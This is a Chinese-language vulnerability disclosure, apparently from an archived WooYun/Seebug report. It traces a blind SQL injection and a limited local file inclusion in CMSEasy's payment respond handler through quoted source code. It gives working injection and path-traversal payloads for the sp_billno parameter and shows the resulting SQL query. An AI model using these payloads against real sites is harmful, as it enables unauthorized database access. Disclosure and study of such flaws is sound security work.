### 简要描述:
大神,求20我就满100成为普通白帽子了,再也不挖洞了,求满足,我有强迫症。。。还有麻烦把那个xss+csrf getshell审核下。
### 详细说明:
这次出问题的依然是通用函数。因为附带把包含漏洞写出来就选择了这个盲注。
这个包含需要包含两次才能运用,不过最终还是不能截断(说了半天等于没说哈哈)。传说用很多个/截断,没成功,悲剧
lib/default/archive_act.php
```
function respond_action() {
include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php'; //GET过滤了,但是可以包含/pay/文件夹下的文件,code=tenpay,包含/lib/plugins/pay/tenpay.php
$payclassname = front::$get['code'];
$payobj = new $payclassname(); 实例化tenpay类
$uri = $_SERVER["REQUEST_URI"];
$__uriget = strstr($uri, '?');
$__uriget = str_replace('?', '', $__uriget);
$__uriget = explode('&', $__uriget);
$_GET = array(); //重置了GET
foreach ($__uriget as $key => $val) {
$tmp = explode('=', $val);
$_GET[$tmp[0]] = $tmp[1]; //采用REQUEST_URI,可以正常引入GET不受过滤的影响。
if(preg_match('/\'|select|union|"/i', $tmp1)){
exit('非法参数');
}
}
$status = $payobj->respond(); //执行tenpay的respond方法,跟进0x01
......
}
```
lib/plugins/pay/tenpay.php
```
class tenpay {
......
function respond() {
require_once ("tenpay/PayResponseHandler.class.php");
$resHandler = new PayResponseHandler();
$sp_billno = $resHandler->getParameter("sp_billno"); //腾讯的函数,类似于$_GET['sp_billno']或者$_POST['sp_billno']
//上面谈到GET不受过滤影响,本地问价内包含POST,GET提交都可,但是注入的话必须提交POST,因为GET是URL码.
//sp_lillno=sp_billno=-1-1-../../../demo 包含根目录的demo.php
preg_match_all("/-(.*)-(.*)-(.*)/isu",$sp_billno,$oidout);
$paytype = $where['pay_code'] = $oidout[3][0];
include_once ROOT.'/lib/plugins/pay/'.$paytype.'.php';//匹配上面正则就行,包含之,触发,但是实在找不到能截断的PHP文件了,所以鸡肋了。
$pay = pay::getInstance()->getrows($where); //SQL注入,跟进0x02
......
}
```
lib/inc/table.php 0x02
```
function getrow($condition,$order='1 desc',$cols='*') {
$this->condition($condition); //OMG跟进,又是这个函数
return $this->rec_select_one($condition,'*',$order);
}
function condition(&$condition) {
if (isset($condition) &&is_array($condition)) {
$_condition=array();
foreach ($condition as $key=>$value) {
$value=str_replace("'","\'",$value);//这次是在这里,因为GPC的关系提交'会被转移成\'而程序员把'替换成了\'就变成了\\'成功引入引号。还是好好改改这个函数吧。
$_condition[]="`$key`='$value'";
}
$condition=implode(' and ',$_condition);
}
......
}
```
因为要引入引号,所以GET不行因为GET被重置为URL码了,这里用POST方法提交sp_billno
-1-1-1-' and if(1=1,BENCHMARK(1000000,MD5(1)),null)%23
-1-1-1-' and if(1=1,BENCHMARK(1000000,MD5(1)),null)%23
SELECT * FROM `cmseasy_p_pay` WHERE `pay_code`='\\' and if(1=1,BENCHMARK(1000000,MD5(1)),null)
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201310/211436351c563057a5a147371f83043bc7f321f0.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/211436351c563057a5a147371f83043bc7f321f0.jpg)
[<img src="https://images.seebug.org/upload/201310/21143650772186f3b1d57e97c74db881efd0b10a.jpg" alt="2.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/21143650772186f3b1d57e97c74db881efd0b10a.jpg)
[<img src="https://images.seebug.org/upload/201310/2114370086375416b10db4dec49d4db566ce9250.jpg" alt="3.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/2114370086375416b10db4dec49d4db566ce9250.jpg)
暂无评论